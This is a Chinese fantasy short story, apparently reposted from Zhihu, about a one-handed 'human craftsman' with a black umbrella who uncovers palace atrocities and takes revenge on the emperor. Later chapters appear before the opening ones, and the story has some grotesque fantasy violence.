我说,我是持黑伞的程善。他们听了都怕我。唯独你不怕我,所以你也没什么可怕的。

她只是笑,却连半句话也没力气答。

我跑到再也提不起脚步,接不上呼吸。到了哪个角落里,把明彩在地上放安稳。

这也许是大殿后,也许是寝宫后。我完全顾不得这是哪里,明彩在我怀里瑟瑟发抖,蜷缩的像个婴孩。

把那信读了吧,我这样想。我留着这封信这么久,这么长时间都好奇里面撰写了什么。但里面无论是怎样的文字,都抵不过生死之隔。“至境界“,至得什么境界?明彩可能就活不过今晚,我没准哪日也难逃一死。到时候那信还有谁人来读,谁人来阅?

到那时,只是一张废纸。

我把那长筒翻弄,果真找出一信封。开封之后,掉出一根发丝,一张信笺。信笺微微泛黄,细腻如羊脂,上面是密密麻麻的暗红字迹。

手抖个不停,我怕连那字也辨不清认不得,心里突突的要跳出来。而又感觉明彩的呼吸渐渐弱下去,我一手按在她两个胛骨间。

果然,精血两亏,她的脉已经衰下去了。

我突然感到胸口酸楚胀痛,有股戾气不得不发。为人匠,生而修人,怎肯让人在自己面前死?

我几乎要将牙根咬出血来,心意已决:五指按在她后背,贴上心房所对的位置。一息间,我感觉到她全身的经脉和我联接。

她的血不能再流,就让我的替她流。只要我程善还有一息尚存,就没有明彩死去的道理。

我一边用断臂拨弄着信笺,一边用我的心脉律动明彩的血流。就这样直到东方微亮。

天明,上朝的鼓声和晨曦交杂着盈满内城。百官来殿,国君起朝。

周遭喧杂了起来,是侍女,太监和群臣的脚步声交叠在一起,恍若皇城这头凶兽揉弄惺忪的睡眼,打着哈欠。脚步越来越近,他们应该很快就能看见我们。

来的可能是当今圣上应如意,可能是司礼监的秉笔太监,也可能只是小少监和侍女,或者那个叫温良的女子。但对我来说,都没几多差别了。

那时的我像枯木一样呆坐着,满脸泪痕。

15.

我读完了那封信之后,倒释然了几分。我的那些恨,怒和恶意,全都被埋的极深。我压在心底里都没去想,只是想着将来的筹划。我把那些带刺的,险毒的念头都包裹的精致圆滑,用笑脸把自己裹起来。

然而筹划到哪里,将来是怎样,也不尽明朗。要保全我,要救明彩,应该怎样走,都悬而未决。到我抉择的时候,只权当是赌,献上我有的所有筹码。

我抬眼,看见两个普通的侍女满脸惊疑的朝我走来。我没见过她们,或者见过,也全然忘却了。

因为我支撑了两个人的心脉足足一夜,现在已经是强弩之末。我连沉稳的站住都很勉强,更不要说走动了。我靠着墙,半天才含糊出一句话:

“两位姐姐,能帮忙指个路么?”

两人打量了我,暗暗一笑,说道:“你这人满头银丝还叫我们姐姐,倒不如我们叫你一声‘叔伯’。”

我努力地含着笑说:“也好。那些倒是小事。只是小的想知道怎么去见王总管。”

其中一个见我身形不稳,要过来扶我。她说:“看你打扮和腰牌,应该是异人居来的吧。现在你见不到王总管的,他应该在陪皇上散步。异人按规矩是不得进寝宫的,你要是被旁人看见了,要吃苦头的。”

我摇头说:“劳姐姐费心了。您只给我引条路便是,至于走不走,我再权量。”

另一位侍女拉了拉她的衣襟。她迟疑了片刻,然后指着一个方向说:“我与你面生。但看你的神情确有急事,便告诉你。向那边走到路口,再向右,便能看见牌子…”

她眼神停在我身后的明彩上,说道:“这位姑娘,我见过的。”

我抱起明彩说:“她有腰牌,是宫里的画师。你们认得一位叫温良的姐姐么?”

两人点头,那在前面的侍女说“认得。她虽然做事毛糙,却见识广博,能言会道,在我们之间很是有名。”

我说:“那劳烦两位姐姐代我,将这位姑娘带去温良身旁。她刚得了大病,气血衰微,需要人来照顾。温姐姐应该会照看她的。”

那侍女看了看面色青白的明彩,半点没有犹豫就接过了,一到手里,她眉头微皱说:“这姑娘怎么这般轻?连我一人都抱得动,像一团柳絮似的。”

我说:“这姑娘天生身骨纤弱,又有恶疾,体轻也是理所当然。”

两人相识,又耳语一阵。我没去听,大概是些关于我来路不明,行踪可疑的话。但两人终归还是放下心来,讲到:

“我看你气色很差,步履蹒跚。应该也有些顽疾未愈。要是行走不便,大可不必勉强,随我两人先去休息。”

我转身离开,摆摆手说“谢两位好意了。我走一条路便是一条,没太多回头的道理。”

两人已经走远,而我还在想刚刚那侍女的不寻常:她从我手中接过明彩的时候。我右手碰触她一根中指。她中指的三个指骨,应该都是中空的。如果有人攥住她的手猛里一捏,她的手应该会化成骨渣和肉泥。

这侍女应该还不知晓,但我却也不想透露。因为去骨易,入骨难。而且以我现在的身体状态,更是修不好她。如果这样贸然告之与她,恐怕只能让她惊惧不安,惶惶不可终日。

其实,从昨晚开始。我离家后的年少热血,有一半已经凉了。

我一边用右手尽力修着自己,一边想着要怎么见到王总管,见了又能讲些什么。我还想让那些欠了债,欠了万千血债的人,能一并偿了。

所以我还得活着。

不仅要活,为了信里说的那些事,还要努力活着。

我想,既然能见到王总管,怎么不见掌印太监,怎么不见首辅?既然我只有这些筹码,又没太多可以输。想当一个赌徒,为何不添点彩头?

最后,那就直接见当今皇上应如意好了。

应如意,我只有小时候在画像上见过。他给我唯一的印象,就是他作的那句诗“江山成绣锦,天下应如意。”据说有几年,连春联都是这两句。

那时候,他离我太远,至于他到底嵌在天幕,还是深埋黄土,与我没有半点瓜葛。应如意残暴无道还是英明神武,对我来说没有任何意义。我不关心他的天下,他也定然不会关心是否有我这一介庶民。如果我说我有一天要见他,那显得不和道理,不符章法,不切实际。

我从没想过有一天,会持着黑伞,站在他面前。

但我依旧会去,因为我还有一半的血,余温尚存。

16.

阻止我去见应如意的情况,有太多了。被侍卫发现,被其他不那么温和的侍女发现,甚至应如意已经离去。

我把伞开到两成,想到了所有最恶劣的情况。但我都没有遇见。

我遇见的只是一个小太监,挡在后花园的门口。

我说,你去跟里面,随便哪个人说。就说程家有人来了,持着一把黑伞,背着一个长筒。

小太监很听话,他跑着进了院子里面。我看他答应的这么爽快恳切,就像是他等了我许久一样。

过了些许时间,那小太监一摆手说“大人请进吧。皇上就在里面等您。”

我一时间没有反应过来,脑子还有点发蒙。实在是有点太顺利了,顺利的不真实,像是浮空幻影。

我走了十几步,看见一树桂花后面坐着一位衣冠华美的男子。我便问:“你是应如意?”

身后有人轻轻拍我说:“他只是个壳,我是应如意。”

我回头,看见一位面相很和善的男人,全然不像画卷上那般冷峻。

他坐下来,饶有兴趣的打量我,然后示意我就坐。他说:“你见到天子不下跪,不行礼,不谦逊,你真的不懂礼法么?”

我说,你等我来找你,就是为了听一句草民叩见皇上?说这话时,我的眼神轻轻扫过他的左手。

应如意听后大笑,然后拍拍我肩膀,连说了几声好。他已是不惑之年,却依旧像个少年一样笑的没有节制。

应如意说:“你那天进城门,侍卫就注意到了你的黑筒。我想你在这宫中呆久了,总有一天要来找我。”

我说,我该夸一句皇上料事如神么?

他摇摇头说:“这些话,我都懒得听了。我听闻你天资聪颖,十六岁就已可以单手让侍卫失目,已是难得。我想让你在我身边做事。”

我抬起头,凝视了片刻晚秋的桂花,然后说:“皇上贵为天子。让我一介草民做事,还要费这么大周章?”

他说:“你年轻气盛,有些事情你不愿意做,也不会懂。该让你经历一些。”

我想问宫中的诸多恶事,他是否知晓。我还想问,那年,那天,他的所作所为。我什么都想知道,什么问题都想问。但我知道今天不合时宜。应如意对我近乎了如指掌,而我却对他一无所知。况且,他还有整个天下。我只有一条命,一把伞罢了。

我说:“草民知道了。我会尽心做事。”

应如意说,你有什么要求,尽管提。宫里有的都不会亏待你的。

我慢慢的抬起眼帘,眼神里什么情感也没有,淡漠的就像逝者一样,我缓缓地说:“给我张床,让我好好睡一觉。多谢陛下。”

17.

应如意说明日酉时末去他书房。我欣然应允。在离开后花园之后,我没有去应如意给我安排的新的住处,真的去酣睡一场。而是背着长筒去找了温良。

自我见过应如意之后,我像是晋成了朝中权臣。三宫侍女,以礼相待。六院守卫,无不避让。我一言语说我想见一位叫温良的侍女。全都喜笑颜开,迎上来要介绍引路。我被拥的心烦意乱,费了些功夫才见到温良。

温良凝视着我,在茶桌旁特意留了一个空位。

大概是我眼花,她比往日显得年轻,也没当初见我那么胆怯。她对我行礼,然后说:“大人,见过皇上了?”

我点点头说道:“见过。皇上温文尔雅,不愧为国之贤君。我想问问,姐姐见过一位叫明彩的画师没有。”

她又问:“那位画师,是大人托我照顾的,我定当多加留心。只是这宫中如若泥沼,谁也不得抽身。我也未必保得住那姑娘,只可怜她生了副好皮囊。”

我的心猛地一缩,隐隐阵痛。

我说:“连姐姐也救不得明彩么?前辈,那日我按过您肩膀。您肩骨是刚刚修过,手臂又是新的皮肉,加之经脉运行极缓,理应是极其老道的人匠才是。人匠的技法,恐怕我比您还差得远呢。”

她说:“哪里。你天资聪颖,自幼刻苦。要说这技法之精,我也不及你。我若是有所见长,也只是技法之广罢了。这姑娘,救是可以救。但人于人匠眼中,就如同木于木匠眼中。都是物件,是器具。什么生灵,活物,都是无谓的说辞。宫中总有人,要贪这姑娘的皮肉。”

我愣住,半响无语。感觉胸口被什么压着,喘不过气来。

一阵寒意。

我攥着手里的茶杯,右手不觉的发抖,我转过头问:“前辈,宫中之恶事,你无所不知。你真的不插手么?”

她先说了四个字。

“年轻气盛。”

她又说:“程善,你见过的恶是怎样?我见过人匠把人的头沉下肩膀,让他人的眼目被自己的肠胃消化。我见过把人的喉舌嵌进镯子,叫那人求死不能。我又见过人匠把人蜕皮去骨,放到秤上像猪牛一般称量。我活的太久,做男人,女人,老人,小孩,无一不包。天下大恶,尽收眼底,你能一一去了?”

我说,好,好。

我说:“前辈成圣成魔,我不言语。前辈想当侍女便当侍女,想当权相便当权相,倒也乐得自在。我只问你几个问题,望前辈如实回答。”

她应允,脸上挂着几分失意。

我问:“请问,什么是‘铸人’?”

温良神色古井不波,她伸出自己的右臂说:“这条右臂,不是我自己的,你看的出来吧。”

我点头。

她说:“用人匠身体的一部分,混合他人之血肉,再加以特殊的技法。可以铸造一人。铸出来的人,有如真正的人。若是用人匠的部分多,就与人匠像些,甚至于心意相通。若是用人匠的部分少,就不太相仿,铸出来的人也活不长久。被铸的人若是寿命尽时,就成一团气雾,散了。”

我恍然间醒悟,脸上露出的不知是不是笑。我想笑又笑不出,只好把面容摆的狰狞,像是画像里的罗刹。

我说,前辈,今早来抱走明彩的侍女,是你铸的人吧。

她说:“是。那日我救了一位废人居的女人。但是被折腾的不成人样,身体扭曲的像是一个箩筐。我一气之下把那身体打的稀烂,然后用我的一根头发铸成了你见到的那个侍女。”

我感觉自己快结冰了。

我突然觉得自己知道温良为什么要救废人居的那个女人,那女人到底是谁。但我又痛恨自己知道,像胸口被毒刃刺穿。

哽咽。

我快说不出话来,只能含糊讲道:“前辈,那封信是你写的吧。”

她点头。

我说:“前辈。您救得女人是不是我母亲?”

她点头。

我说:“我那日用黑伞度化的老者,是不是我父亲?”

她又点头。

我起身向温良跪谢。

我说,前辈,多谢您养育之恩。

泪流。

温良摸着我的头发说,程善,别哭。你一定会是天下第一人匠,一定会好好活着。

然后,她给我讲了一个很长的故事。

18.

这故事我已经在信里看过一遍了,只是那时我还不知道,是温良讲给我听的。

我母亲曾是宫中的一个侍女,父亲是异人居的一位异人。

他是人匠,技艺超群。

他有位多年的至交,叫温良。温良潜心铸人之法,准备用自己毕生心血和右臂,铸成一个人。但是温良没有机会,他找不到合适的底子,他要把这门技艺用在最合适的人身上。

他等了蛮久,然后等到了机会。

应家的寝宫要降生新皇子,先皇应天安等待着自己的儿子和未来的国君的诞生。

噩耗打击了应天安。皇子应如意夭折。

温良说,我能救活皇子。

先皇说,好,若成,赐你荣华。

温良斩下了自己的右臂,铸成了新的应如意。

新皇子生来便有二十多岁模样。先皇吓得惶惶不安,惊惧万分,大叫“怪胎!”,然后一病不起。

又过了两年,应如意登基。

应如意说,天下应如意,我要求万人长生。

人于人匠,如木于木匠。他有人匠一臂,可以施人匠之法。他要让人融于万物,求得万人不朽。要人成椅子,成桌子,成瓷瓶,成怪,成魔,生不如死。

温良没有得到荣华,他活在悔恨和厌倦里。没了铸人的痴求,他什么也不剩。他没曾想,铸人失败,就会铸成魔。他找了位被应如意玩弄到求死的侍女,杀了她。取了侍女的皮囊,他变成她。

温良就想这样活着。

父母当时刚刚生下我。

母亲被折磨不堪,父亲为了救母亲,像我一样血脉相连,一夜白头,纹上眉梢。

时间在父亲身上汹涌流逝。

父亲一直反对温良铸人,但这时,他说:“我俩尚不能自保。但善儿不能没有父母。你取我双手,去铸成一男子。再用你杀的那侍女和你发丝一根,去铸一位女子。去罢。”

这二人,便是我父母。

温良取了我父亲双手,在废人居找了位男子,铸成我记忆中的“父亲。”然后又取了自己几根骨和发丝,铸成了我记忆中的“母亲。”

应如意只有右手有人匠之能,他要我父亲献上左手,才是完整人匠。但我父亲已经没有左手可献,他只剩两只残臂,手只是一阵幻痛。

应如意说,好,你没有手,那还当人干什么,不如当椅子。而且你没有,总有一天你有子嗣,子嗣也会有手。

温良说,要程善的左手,应如意才会罢休。

于是我单手,成为人匠。

温良算过,男子用双手铸成,至多活十一二载。女子用骨和发丝铸成,也不过二十载。所以必须吩咐,让我十六岁前离家。

然后我来到皇城。

然后我来到宫中。

然后我用黑伞杀了那位已经不成人形的老者,那是我父亲,他被做成椅子,有七年。

然后温良救出了废人居里,我那要被做成箩筐的母亲,把她打成血肉,铸成一位侍女。这位侍女,只靠这根发丝,只能铸成中空骨,空心肉。最多能活三月。

最后我来到已经是妙龄侍女的温良面前,听完了这个故事。

我说,谢谢你。

我说,谢谢这天下,如此善待我。万谢应如意。

我说,皇上万福金安。皇上天地同寿。

我明白一切的始作俑者都是温良,但我恨不起来她。从某种意义上说,她就是我的父母。她养我育我,除了没有告诉我古书第十二章《铸人》外,传给我一切。甚至不垂涎程家的黑伞。

她成全我。

我说:“温良。我懂了。你能不能再帮我一次。我愿意什么都给你。”

温良说:“我缺一只作为人匠的右手,你也能给么?你给我之后,就是普通人了,连黑伞也没得资格打开。”

她别过头说:“老道的人匠天下不知几许,但是持黑伞的程善只有一个。”

我说:“能。在你帮我之后,我就给你。我没有手,也无所谓。当普通人,也没所谓。”

温良不悲不喜,她合上了紫砂壶的盖子。把那一盏茶倒在地上。

她说,好,我帮你。

我这次笑了,难得笑的很开心。我说,那好,让我看一眼明彩吧。明日酉时末,我们就动身。

我穿过回廊,走了几间房,见到了面色苍白的明彩。

明彩见我很兴奋,她跳起身来,给我舞动了拳脚,尽力打的生龙活虎。我一只手攥住了她要挥动的手臂。

我卸力说:“你看,要是以前的你,我哪里攥得住。”

她撇撇嘴说,切,那是我让你。

我说:“好了,不用逞强了。你身体没大碍了?”

她说:“全好了。温良姐姐是位大善人,也比你厉害多了。”

我笑着点头说:“我也这么想。温良的确是位善人,也比我厉害多了。”

我看了看周围散落的画纸,都没能成画,只是在纸上潦草几笔。倒像是孩子赌气的涂鸦。

我说,怎么不画了?

她说,没得画,这些东西太丑了,不想画。

我说:“行,随你心意。你要画便画,还要多加休息,照看自己。”

她佯装嗔怒道:什么时候明女侠的事情也要你叮嘱了?

我说,是小的的错,臣有错,臣悔过。

她看我这幅滑稽的作态,要笑出声来,但是还没笑,就开始咳,咳得站不稳,像柳叶随风。

我连忙搀着她到床上躺着。她说:“你不用管我。你怎么像老了几十岁一样?是我眼花了么?”

我说,哪里,我本来相貌就老成。

她说:“不对,我能看出来。你的身体比你的心老的快。发生什么事了么?”

我能感觉到她冷汗在流,她像这样撑着大声说话,应该胸和肺都像刀挂一样痛。她是很勉强的吧。我的心一阵疼,连忙说:“明天再来看你吧,我去办些事情。”

我看了看地上的画,总觉得该说些什么。脑子里像是一片浆糊没了头绪,嘴上却笨拙的,把那锐的话都说钝了。

我说:“明彩,我…。挺喜欢你的画的。”

她硬挤着全部的气力说:“明天等着我的画吧!”

出来时,温良在门口站着等我,应该是一直在听我俩讲话。她只说了句。

“睡吧。好好睡一觉。明天起来,就什么都有了。”

那夜我进入梦乡,梦见一片雪白之中,明彩穿着一袭白衣来见我。嘴里唱着清澈的曲调,唱着“千般魔,千般佛,任由他人说。”

我听着那曲子,慢慢被大雪淹没。

19.

这日酉时,我准时到应如意的书房。

书房里摆满了大大小小的瓷器,摆件,甚至脸谱。

应如意很高兴,他笑的开怀,连说:“来,程善老弟,我给你看我收藏的这些器物。个个都是宝贝。”

我说,哦?皇上尽拥整个天下,竟然还有皇上所稀罕的宝贝,那我真得见上一见。

他说:“哪里哪里。给我做事,将来不会亏待你。这些宝贝,你想要哪个,我都分给你。”

我轻笑说:“皇上说笑了。这都是皇上千方百计拿来的典藏,我哪敢奢求呢?”

应如意拍拍我肩膀说:“不难不难。难得是这颗心。”

他问:“程善。你看,做人匠,单单是修人,岂不是大材小用?”

我问,皇上有何高见?

他指着那堆瓷器说:“高见倒是谈不上。你看,那里面有窈窕的少女,有佝偻的老者,有车夫有店小二甚至有山贼,芸芸众生相都让我打作肉泥堆砌在里面,岂不是万世长存,这才是人之大匠,才是人匠之本啊。”

应如意啊,你只是人匠铸成的一个木偶,一个玩具。也不过活二十几年的光载,还能妄贪万世。

我强挤出欣然的表情说:“皇上所言极是。看来我之前所求人匠之道,反倒是窄了,小了。”

他又指着那边摆着的脸谱说:“别这样妄自菲薄。你再看,那墙上挂的,都是人的面皮。这脸谱,岂不是活灵活现?”

我点点头说:“果然生动非常,真是绝世无双。”

我定睛一看,一眼扫到了墙上明彩的面庞。

我指着明彩的脸说:“皇上,这面皮……”

应如意神色一滞,他说:“老弟,你想要这个?这是我今早刚刚拿来的收藏,还新鲜。不过你若是喜欢,我绝无吝啬的道理。”

明彩就这样被做成了脸谱。她要被活剥,要被去骨,要刮下脸上的面皮。然后挂在墙上。我再也没机会看到明彩的画作了。

我不敢想,一动这念头,就觉得残忍。

我没有伤痛的力气。

我父母,我明彩,我左手。我与谁问。

我想起那日离家,前往皇城。我热着全身的血,背着长筒,觉得自己是天下第一人匠,觉得自己能独步天下,举世无双。

人匠可以修人,不能修心。可以修千万人,不能修天下人。

浮生幻影。

热血尽凉,只剩这一腔还发烫。

我抽出了长筒里的伞,举在我面前。

我问:“应如意,你知道善恶么?”

应如意看见我那黑伞,面色淡然。他说:“程善,我之前就说你不懂礼法。你看看,天子面前,就要贸然动刀兵。你也年纪不小,怎么还信善恶那一套?”

我突然笑出声来,我把伞张开,伞上的黑色雕文绽放在书房里,周遭所有器物为之一颤。那些器具桌椅里面的人,尽皆被我毁做肉泥。万千血雾从周遭腾起,一一附到我那伞上。屋内像是爆开一团血莲,一股血腥味浓郁后又消散不见。

一伞开,杀生无数。

应如意叹息道:“可怜我这些藏品,都被你这伞毁了。你杀这书房里这么多人,难道就能称之为善了么?”

我说:“谁说我是善?谁说我是恶?庸人才信善恶。善人有善报?恶人有恶报?都是虚妄之言。我只讲因果。你杀天下多少人,是你的能耐。但你杀我父母,杀我明彩,取我左手。是你种下的因,今天,才是果。”

我听见外面侍卫腾腾的脚步,像海浪一般涌来。

应如意说,我知道你要来,不会一点防备没有的。你是程善,不是什么凡夫俗子。

我说,皇上说笑了,我就是凡夫俗子。

应如意说:“可惜,可惜,可惜啊。时至今日,还要我亲自来,我来教你为臣的礼节。”

我说:“不了,你若想听礼法,我讲给你。”

我放声大呵,声如洪钟大吕,回荡于三宫六院,久久未散:“我是程家唯一子嗣,天下第一人匠,程善!今我持黑伞求应如意一见,与你讨我父母债,我明彩债,及千千万万血债,愿你一并偿!”

我知道应如意有人匠双手,黑伞不能伤他分毫。但我开着伞只是为了戒备周遭赶来的侍卫,不让他们近身。

这撑不了多久,外面是万箭齐发的破空声。

我很快的被箭雨打的血肉模糊,倒在血泊里,眼睛也被血染。

朦胧中,应如意说:“程善。黑伞不能救你,只有我才能救你。”

他靠过身来,想要拿那把黑伞。

我摇摇头说:“应如意。你也不能救我,因为你救不了你自己。”

我言罢,从右手袖口中又伸出一只手,像蛇一样盘过应如意的脖颈,然后狠狠捏住他的面庞。

我看到应如意惊惧在眼神里像洪水一样流过,下一刻就是他的整个头颅像是泄了气的皮囊一样瘫软下去。

这是温良借给我的手。这是我特意为了应如意准备的极致盛宴。

我笑着说,这下,你永生啦。

那手像软泥一样疯狂的倾泻进应如意空空如也的头颅里,我的袖口有如一团乱根般窜出皮肉向应如意身体涌去。他的头又饱满起来,恢复了原来的面目。

我说:“让你把头嵌进这么小的地方,委屈你了前辈。这右手,你随意取用。”

这一刻跟我说话的,是拿了应如意皮囊的温良。

温良摆了摆自己的右手说

“不用了,我拿回了自己的右臂,要你的右手有何用?”

我说,那好,前辈,愿你善待这天下。

温良笑而不答。过了半响,他说,也愿天下善待我。

他开门走出,大声道:“反贼程善已被就地正法!。”

20.

等我再次修好自己的时候,已经是满头银发。

我从皇宫离开时,温良说可以让我尽享荣华。我说不了,已经累了。

我什么都不想要了。

没有亲人,没有自己。只有明彩的画,我留着。

还有一块墨色的玉玦,像是太极的一边。这是家传的古玉。

除此之外,皆无。

我背着明彩的画卷走着,走在当年经过的山路上。又遇见同一伙山贼。也还是那个头目。他从山上走下来说

“程家少爷…,你的头发怎么…?”

我笑着说,没事,权当被雪染了。

他说:“少爷,当年我们不是要打劫你的。只是上面有令,他们说,当山贼,我不管。但是要是有背长筒的少年,一定要留心。”

我点点头说,没事,我不在意的。

他说话的时候,我背后的画卷狂颤。

我说,我先走了,有缘再见。

那头目拜谢我说:“程大人宽宏大量,小的心领了。”

我笑笑,没说话。

我走了好远,一直走到无人的林间。

扯开颤动的画卷,上面空空如也。

耳边是梦中的歌声,是明彩在我耳边清唱。我回头,林间恍若有霜雪飞舞。

明彩披着白色大氅,持着一根画笔站在我身后。

我不惊讶,我总是梦见她,我总觉得终有一日我们会相见。

她一直唱到“千般圣,千般魔,任由他人说。”

她轻笑问我:好听么。

我点头说,好听。

我答应她一定会 查看全部
文/方糖 转自知乎 
1.

在我七岁的时候,父亲亲自斩下了我的左手。

他说,做我们这个行当的,得有保命的本钱。那年我太小,哪里懂得这句话的意思。

父亲说的行当,是人匠。

世上有画匠,木匠,瓦匠,也有人匠。人匠的手艺,是罕有的手艺。不是精湛纯熟到极致,火候老道的人,是万万不敢提起自己人匠的名号的。

这手艺的神妙,我亲眼见过。

父亲的双手,像是有种魔力。他曾经单手拆下来一位老农的胳膊,断口处平滑如玉,没有一丝血迹。之所以用拆,是那个动作真的轻巧流畅,就像是摆弄木偶。他两指在胳膊上划过,被农具刺穿的伤口像是墨水一样散开,又消失不见。父亲反手轻轻一触,那胳膊又接了回去,浑然天成。

他曾经给一个脑满肠肥的大汉瘦身,父亲手一打过去,那一团耷拉的肥肉就像是软泥一样滑落下来。

他用指甲轻轻滑过,就能给你开添一个双眼皮。他轻轻敲打,就能纠正你绞痛的肠胃。

我曾经问父亲,到底什么是人匠。

父亲只说了两个字。

“修人。”

2.

我十二岁的时候,父亲拿来厚厚的一本册子,沉声问我

“当不当人匠?”

我当时的回答是,“当。”

“好,这是祖师爷留下来的。好好读。”

此后每日,我都会细细品读这本古书。书里记载的都是玄异的技法,我常常通读入迷,茶饭不思。

我读那古书读了数月,感觉已经烂熟于心。父亲又叫我过来,一一问我。

“那书有几章?”

“十一章。”

“第六章讲了什么?”

“《离骨》”

“做给我看。”

我低下头来,用食指在中指的一个指节轻轻划过,一节指骨便呈在了手上。

这样说来有几分诡异,甚至于恐怖。但没有丝毫痛感,也没有任何不适,指骨被完整的抽离出来,干净的像是一段玉玦。我中指轻轻一动,那指骨便又回到身体。

父亲点点头,他蹲下身,直视着我的眼睛说

“人匠可以修人,也可以杀人。心术不正的人匠夺人器官,取人性命,自古有之。你将来离家的时候,带上我那柄伞,以便与别的匠师相认。”

说完,他让我闭上眼睛。用双手的大拇指划过我的双眼。

我睁开眼睛,发现目力更加敏锐,甚至可以清晰点数手上的汗毛。

唯独看不见父亲。

3.

母亲是很温柔的人,跟父亲的严苛截然相反。从我十二岁那年,我跟她相依为命。

她对人匠事情绝口不提,她是个本本分分的妻子,本本分分的母亲。

但我是不安分的。

十二岁的我,学会独立,学会家务,唯独没有学会怎么安稳。我在家闲不住,又是满脑子好奇心的年岁,总是问母亲各种问题。而母亲肯回答的甚少,只是反复念叨四字家规“心善,人善。”

我闲的发慌,只好磨练玄妙的技法。偶然间,我突发奇想,自行构想了些需要双手并用的技式,然后又心凉下来,想起自己其实只有右手。

我有的只是遗憾,不是怨恨。

自那后,又过了平淡的四年。在我十六岁生日的早晨,我发现母亲抱着黑色的长筒站在门口,脸上满是泪痕。

她哭的眼睛红肿,哽咽着问我说,你想知道我为什么会跟着你爹么。

我摇摇头。母亲虽然没有富贵的出身,却是真正的美人,眉眼如画。那不粘脂粉的秀美气质,也不是轻易可得的。父亲则相貌平平,过人之处,也就是独到的手艺罢了。

她说:“他当年背着这长筒,身上就两个铜钱,却也要买一个馒头给饿坏了的我吃。他舍了一切,把我从那里救出。你父亲修了一辈子人,唯独修不好自己。我知道你技法精湛更胜他人,但你最需要学是父亲的善。”

我点头,不知道回答些什么。而父母曾经经历过什么,所说的“那里”又是什么,我全然不知。

她抱着我,又要哭出来,她说:“你是程家的孩子,注定要游历四方。你十六岁了,我把这长筒交给你。里面有伞一柄,信一封,玦一块。我不懂这物件的用处,只知道那古训。‘遇危难,开伞。至境界,阅信。见故人,持玦。’我能给你的就这些。”

我不知道母亲在哭什么,却也想跟着哭。内心要离家的冲动和热血在一瞬间结冰,我什么感觉也没有,什么也不愿意去想。只想跟着她一起站着。

我呆呆傻傻的走出门去,母亲深深地鞠躬。我第一次见她这样伤心欲绝,她别过头去说

“儿,娘很想你,但别回来。”

4.

父母为我起名为善。我叫程善,也许是寄希望于可以万事成善。

但我出门的第二天,便在山路见遇见了山贼。那是通往皇城的必经之路,没想到最近也是山贼肆虐。我想起了母亲说的“遇危难,开伞”,便从黑色的长筒里抽出那长伞,墨色的大伞上面满是繁复的雕文,让我眼花缭乱。

我从马车上跳下来,那一众山贼看了我的大伞,全都呆了。有几个胆识大的,气血盛的年轻人想要冲上前来,每当要靠近我这黑伞,都四肢僵硬,动弹不得,更近的就浑身抽搐,痛苦不堪。

“别动!”

那山贼的头子呵道。

“是程家的黑伞,都不想活了?再近一点,就要变一团烂泥喂给猪狗!”

我看那几个山贼面色实在是苦不堪言,于心不忍就把伞合了起来。但即便如此,有几个气力弱的还是步履蹒跚。我又只好把黑伞收进长筒里,那几个人才恢复如初。

头子走了下来,满脸堆笑的看着我,让我满身不自在。

“程家的少爷,皇城里面据说有大恶作乱,去那里做什么。”

我回答说

“听闻圣上寻找天下能人异士,聘金不菲。我去那里,讨个生活。”

“小少爷呦,程家人哪里还需要讨生活。”头子说完见我面有愠色,便识相的走上山区。

只是那人,走前细细地打量了我的左袖。

想必他已经发现了我没有左手,我也没有太过放在心上。只是我渐渐发现,只有一只手的情况下,的确有很多技式使用起来相当不便。如果那山贼想在这上面做点文章,可能是个麻烦。

等山贼都走后,车夫突然从马上翻下来,然后开始放声大笑。

是个身材娇小,面容俊秀的女孩。

其实,自从父亲轻划过我的双眼之后,我的目力精锐,已经不能以常理考量。我早早透过她的面纱看穿她的相貌,只是没有说穿。

“小屁孩,没想到老娘我是个女的吧。”

我微笑着点头说“没有。”

“你不出手,我就把那几十个人全都放倒啦。”

我又笑着点头,配合着说:“有女侠护佑,我当然放心。”

我这么配合,只是想看她什么时候能切入主题,满足她的好奇心。

“小子,你那伞挺有意思的,能给我看看么。”

5.

她叫明彩,自称是武功最好的画师,画工最好的侠客。

她乔装打扮,竟然只是为了能顺利上山征伐山贼。我很难想象这样一个满脑子江湖梦的丫头,会甘愿当一个宫廷画师。但事实就是如此,就好像曾经最讨厌礼法的我,要进入皇家这种循规蹈矩的地方。

程家的名声不小,但大多都是民间的传说,已经与事实相去甚远。所以听说我是程家人,还以为我有什么夸张的威能。但我说道人匠的技法的时候,她还是很是吃惊。

而我把她的左臂像车轴一样轻松旋转了两圈后,她差点吓得晕死过去。

我说“这算什么,要是我想,都能把我胳膊接在你身上。只是一是我只有一只手,很不方便,二是父亲当年明令禁止我这样做。”

她对我的左手相当感兴趣,因为民间都说,程家有着天赐的双手,但是到我这里只有一只。

这个问题,我没法回答。

十六岁的我涉世未深,阅历尚浅。有明彩这种同龄人相伴,是为数不多可以缓解心头焦虑的事情。

只是明彩不时提出的问题,常常让我哭笑不得。

“程善,你可以把我变美喽?”明彩很兴奋的问我。

我回答说“可以是可以。但是你挺美的啊。而且给人更易面貌的技法是最考验人匠经验的,像我这种毛头小子,当然是不敢做这种细致的活,而且……”

而且,我只有一只手。

“好啦,我是不会难为你这种小毛孩的。”明彩摆摆手,满脸写着刻意的大度。

“我是在想,程家人把另一个人塑成圣上的身躯和模样,是不是可以偷梁换柱呀。那还得了?”

6.

我们在路上走了数日,又在皇城的客栈住了两天。

她全然不怕我,不但不怕,还很泰然,甚至是放肆。总是挑衅我让我开伞给她,我都拒绝了。

我说,你画幅画给我吧。画的好了,我便给你开伞。

她笑了足足有一刻,止不住。

明彩作画的时候问我,说:“你们程家人可以化男女老少,胖瘦美丑,这画像到时候也不尽然像你啊。”

我说:“我喜欢我这张脸和身体,是不会改的。再说,又不是画我。”

“这画像不是画你的么?”明彩有些疑惑。

“当然不是,我要自己的像做什么。我要你的画,我想看你。”

明彩的脸红透了。

她沉默下来,安安静静的为自己画了一幅。

那时我还没懂,人可以修成画,画却不能化作人。

“像,真的是太像了。”我看着那幅画不禁咋舌惊叹。

“我画自己,想不像也难啊。”

我知道,明彩这谦辞是站不住脚的。对于画师来说,画他人像,抬头就能看见,那人若是好好配合,神态动作又不曾更易,当然容易。而明彩只是对着这张无暇白纸,凭空从脑海里画出自己。明彩端着那画像时,就如同持着一面铜镜一般。

可能是我见识太少,但在我眼中,这种画工说是绝世无双也不为过。

明彩作画时那种入迷痴醉,也是我之前见所未见的。我忍不住连连称赞她,她终于也有觉得害羞的时候,连忙避过身去。

我问道“明彩,你还有没有别的画,拿来给我看看。”

